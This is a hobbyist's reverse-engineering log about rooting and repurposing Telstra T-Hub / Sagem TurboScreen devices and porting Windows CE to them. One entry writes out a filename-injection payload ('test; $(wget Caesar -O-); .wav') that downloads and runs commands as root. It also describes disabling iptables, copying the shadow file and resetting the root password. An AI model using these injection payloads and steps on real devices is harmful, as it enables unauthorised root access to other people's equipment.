Telstra T-Hub rooting/repurposing

I've recently come into some more time to look at these again. I managed to repair some faults with boards I already had (be careful when playing with shorting pins on the NAND, you can very easily blow up a 6-pin PNP transistor in the power supply section!). I've decided to make a decent effort at porting a new OS. I'm pretty much sick of Linux these days so I'm going with something I find a bit more interesting: Windows Embedded. Specifically Windows Embedded Compact 7 (AKA Windows CE7).

What works - generally

• There is a working EBOOT image with somewhat functional support for the NAND FLASH - enough to store the system configuration, anyway. I still need to strip the FEC drivers out of this, because selecting them will cause the board to freeze when it goes looking for an ethernet controller that doesn't exist. The EBOOT code seems to ignore the BSP_NOETHER flag.
• The EBOOT USB RNDIS download client
• The EBOOT USB Serial download client
• NK USB sync support. This works well enough to be able to use remote zoom-in to see what would be on the device screen, if the LCD driver worked... Unsurprisingly I am stuck at "calibrate display".
• The rest of the things required to get an OS image to boot and run without crashing.

What does not - specifically

• Display - I have a working backlight driver, but I am still fighting the LCD driver. This is priority 1, and I feel like I am fairly close.
• SD Controller - CE throws exceptions when cards are inserted and removed. The OS doesn't crash, but SD doesn't work. The fact that I get anything at all indicates that this is probably pretty close. It's priority 3.
• WiFi - Doesn't work due to the lack of the SD controller support. Bluetooth might work, but I haven't tested it and I don't care enough yet.
• Touchscreen - I don't think this works. The driver is included in the BSP, but touching the screen seems to have no effect on the image obtained by remote-zoom in. This is probably priority 2.
• Audio - The MX51 development kit uses a different codec chip. I will need to write a driver for this before audio will work
• Power button support - currently having this enabled in the BSP causes the board to shut down instantly once it boots. I suspect this is due to a misconfigured GPIO or pin MUX, or the driver is looking in the wrong place. Should be an easy fix.
• NK NAND driver - Should be relatively easy to get the NAND driver from the EBOOT to work for the NK, but I haven't tried yet. Again, should be an easy fix but I am expecting trouble. Tied with the SD controller for priority 3.
• DECT - I haven't even started on reverse engineering this so obviously there's no support. Being an SPI peripheral this should be fairly straightforward to implement - provided that SPI works there's no real hardware work needed for the driver.
• RTC - The OS throws errors about writing to this every few minutes. I suspect this means that CE is not able to remember the time yet. Again, should be an easy fix.

What hasn't been tested at all

• USB Host - I suspect that this might work, but I can't enable it while I am still dependent on the USB Sync connection to work with the device.
• Bluetooth - I don't care about this enough yet.
• Keypad support - I disabled this at the same time as the Power Button driver to work around the issue with the board shutting down once boot had finished.

Conclusion

I expect to get display off of the not working list very shortly. Once that is done the next tasks for me are:

1. Touchscreen
2. NK NAND drivers
3. SD Controller
4. Wireless
5. Audio
6. Bluetooth
7. Keypad
8. Power Button
9. DECT - I am interested in using this as a lightweight, long range data network for my automation and control stuff, which is what the T-Hubs are slated for right now.
10. RTC (maybe - this might be a little higher depending on what happens)

These are just general notes from my reverse engineering efforts. No effort has been made to present them in a tidy manner, expect a write-up later.

• The display is connected to DI0 *NOT* DI1 as I had previously assumed.
• Backlight is wired into PWM unit #1. Freescale intended the PWM modules for audio use but in this case that isn't what's happening. From what I can tell Freescale did a similar thing on one of their development boards, as there's a PWM based backlight driver in the Windows CE BSP for the MX50 EVK. I have ported this to the MX51 BSP, and it works fine.
• Suspect that PMIC CS line is connected to GPIO16, based on this snippet
  

  STMFD   SP!, {R4,LR}
  MOV     R4, 0x73F84FFF  ; GPIO
  MOV     R1, #0
  MOV     R2, R1
  MOV     R0, #0x1F       ; regulator setting 1
  LDR     R12, [R4,#-0xFFB] ; GPIO1 Direction Register
  ORR     R12, R12, #0x10000 ; GPIO16 - Output
  STR     R12, [R4,#-0xFFB]
  LDR     R3, [R4,#-0xFFF] ; GPIO1 Data Register
  ORR     R3, R3, #0x10000 ; GPIO16 = On
  STR     R3, [R4,#-0xFFF]
  BL      write_pmic_     ; R0 = Register to use
                          ; R1 = Value to write
                          ; R2 = Write/_Read

• Red/Green status leds are wired into the respective Red/Green channels on the MC13892's LED driver. Blue does not appear to be connected
• Wireless is provided by a Gemtek GB86321G. This is a combination WiFi/Bluetooth. WiFi is exposed over SDIO, Bluetooth is a simple UART interface that should be wired direct to the SoC but I have not tested this. Datasheet here: http://www.gigafu.com.tw/upload/2015Jan/pdf/20150116150715408944481_1.pdf
• DECT setup is very different to the scheme used in the previous platform. Was previously connected over a USB host to a separate module but is now done using an on-board PNX8099 which I assume is a generic microprocessor. This appears to have been connected over SPI but probably has numerous other tie ins to GPIO. No data available. This will need extensive logic analysis to figure out. The PNX8099 has a small EEPROM (24C series) that I will dump later. Probably just has some serial numbers etc, it isn't big enough for firmware.
• A 24C256 EEPROM contains the system serial number and some other details, including copies of the boot string. A dump will be attached shortly.
• LCD fitted to the unit is a FG0700G3DSSWBG01 by Data Image. Datasheet here: http://www.bfdisplay.fr/fiches-techniques/ecrans-tft/dataimage-FG0700G3DSSWBG01.pdf
• Getting one-time access to the downloader from JTAG is easy. Connect the JTAG probe, start OpenOCD and halt the board. Disable the MMU with "mmud", then set the PC to an invalid value "reg pc 123". Resume the target and the board should crash and enter the downloader. This prevents needing to screw around with erasing or shorting out FLASH pins.

Full root access ....

rcS has to be modified for that.

for example:

1. getty -L <dev> ; I removed -n and the screenlogin

2. change iptable start to flush

3. enable start of sshd

I also moved the t-hub stuff in /etc/rc.d/init.d/ to a folder "disable".

So these service are not started

Now that I have gotten root on my TurboScreen, I want to get my bricks working again too! Tomorrow I will hopefully get the chance to use my exploit against another iMX31 device from Hackerspace. I then plan to grab a copy of its bootloader and reverse engineer it. I know that it looks for a file on USB and SD at start time, so now I need to know specifically *WHAT* it is expecting. Watch this space!

Today I acquired another TurboScreen, and instead of diving headlong into serious software and hardware hacks again, I decided to have another look at the Hidden Menu.

Like most test software, the menu isn't designed for consumer use. It has bugs, crashes, is ugly and some parts just plain old don't work. It has all the hallmarks of having been put together in a real hurry. This got me thinking - if Sagem slapped it together for internal use, there's a real chance that they didn't do a great job of making it terribly sane or secure, right? So I started reading through the code.

Two functions caught my eye fairly quickly. One is the firmware update utility, which does a fairly poor regex against the file list on a usb stick to look for firmware it recognises. For instance, it'll happily swallow a file I named "001.001.001.bin;reboot" and reboots just as one would expect. This looked very promising for getting root access, but there's one serious issue - the command strips out all the spaces from the filename, so you can forget trying to pass any arguments. Dead end.

The second function is used in the testing of USB storage devices. It simply plays an audio file from a USB flash drive through the speakers. The restriction on this is that the filename must end in .wav, and like the firmware update function it does not do any sanitisation of the string. It even leaves the spaces in.

Bingo.

Given that my input is in the form of a filename, I am prevented from using characters like pipes and slashes in my command. Initially this looked to be a bit of an issue, but it isn't. I recruited my friendly neighbourhood domain controller and fileserver, Caesar, and installed IIS on it. Then I stuck the real command I wanted to run into the index.html. By adjusting the filename to look something like this:

"test; $(wget Caesar -O-); .wav"

I was able to cause the T-Hub to download the command list from Caesar and then execute it. As root. By doing it this way I get around all character limitations.

Getting close now.

The first command I tried, having seen that the system has iptables installed, was this

"iptables -I INPUT -j ACCEPT"

Which effectively disabled the firewall around my tablet. I was then able to see an SSH server, but I still had no credentials. The next thing I did (after figuring out that the usb stick mounts itself as RO on the tablet) was to grab the shadow file from the device and copy it onto the usb stick. On examination, I discovered the user/pass combination user:user, which got me into SSH, albeit as an unprivileged user.

I had previously tried to overwrite the shadow file, but it had been failing silently, which I suspected was because the root filesystem was read only. Now that I had a session, I was able to quickly confirm this. I crafted another command that would remount the UBIFS rootfs with write permission and then set shadow to have global write permissions. Once this was done, I adjusted the root password to a known value and connected to SSH again. I had root!

For finishing touches, I went into the iptables_start.sh script and created an exception for the SSH server. This means that I can now connect to SSH as root without having to do any command injection trickery.

This box is mine.

The firmware files I retrieved all have a very simple layout. There's a head of 176 bytes or so which indicates the version, which firmware 'files' (flash partitions) are in the package, their length and their SHA1SUMs. Nothing too troublesome there. The filesystem in my images is a JFFS2 dump which can be mounted up with the help of mtdram on Linux.

Once there, I started to have a poke around. The entirety of the UI runs inside of the Opera web browser, which has presumably been doctored for the job. No wonder it's so damn slow. I'd already seen my share of the consumer UI, so I started having a look for things that were hidden or that had been left in place from testing. A folder in /opt/www called HiddenMenu caught my attention almost instantly. A quick grep through the standard ui revealed that it could be entered by dialing *352# in the "Phone" side of the software.

The Hidden Menu contains all sorts of interesting goodies and tidbits. There are a myriad of settings for I-don't-know-what, as well as all the production tests that one would expect. There's also a function for flashing the firmware using files from a USB stick (handy!). Now I have a way to get my own packages onto the device.

This is exactly what I attempted to do, using a JFFS2 image that I had botched. Ka-BRICK. Whoops. Enter unit 2. This one I managed to kill by flashing firmware that was apparently too old for it.

Fear not though! Because I have a third. This time, I decided to crack it open to try and JTAG and resurrect my two corpses.

The third unit was not what I was expecting. Despite looking *almost* identical on the outside, the hardware on this is completely different.

Meet the 'TurboScreen'.

Packing an iMX51 CPU instead of the iMX31 of the regular devices, as well as half a gig of RAM and FLASH, these are some significantly more serious hardware. Sagem have a different codename for it, and it appears to be a much newer design. My TurboScreen seems to have a dead touchscreen, so that spelt a halt for a little while...

Eventually I decided to do the sensible thing of having a play with the software already installed on the device and found a firmware update function. It doesn't take arbitrary files though - it will only download files from Telstra. I guess 1.15.C is the latest version, as this function refuses to do anything.

Reluctantly, I troop off to Cashies again and grab another two devices. One appears to have a dead touchscreen, so I put that to the side for now (You'll see more of it later, it turned out to be the biggest curveball I'd seen in this little exercise). The other has an old version of the firmware installed. Bingo.

I hook up a USB wireless dongle to my laptop and route the traffic across the two interfaces, then set up Wireshark. WS shows me that the device is talking to a TR69 server, designed to push down settings for things like routers automatically, without having to get the user involved. TR69 tells my device to download and flash a file located on one of Telstra's servers. I rip the cable out to stop the process, then have a look myself. Five minutes later I am the proud owner of one 001.015.003.bin file fresh from the oven.

Next up, disassembling our firmware package.

First thing's first - finding a UART.

Thankfully, this was fairly simple for me. I have an oscilloscope and a FTDI board, so I poked around with the scope until I found something that looked like serial, then plugged in my FTDI. Bingo, we get boot text from a nasty proprietary bootloader (that I suspect MIGHT be based on redboot) followed by Linux 2.6 coming up. The pinout is attached to this project as an image. No console though, so I'll have to look elsewhere for getting in...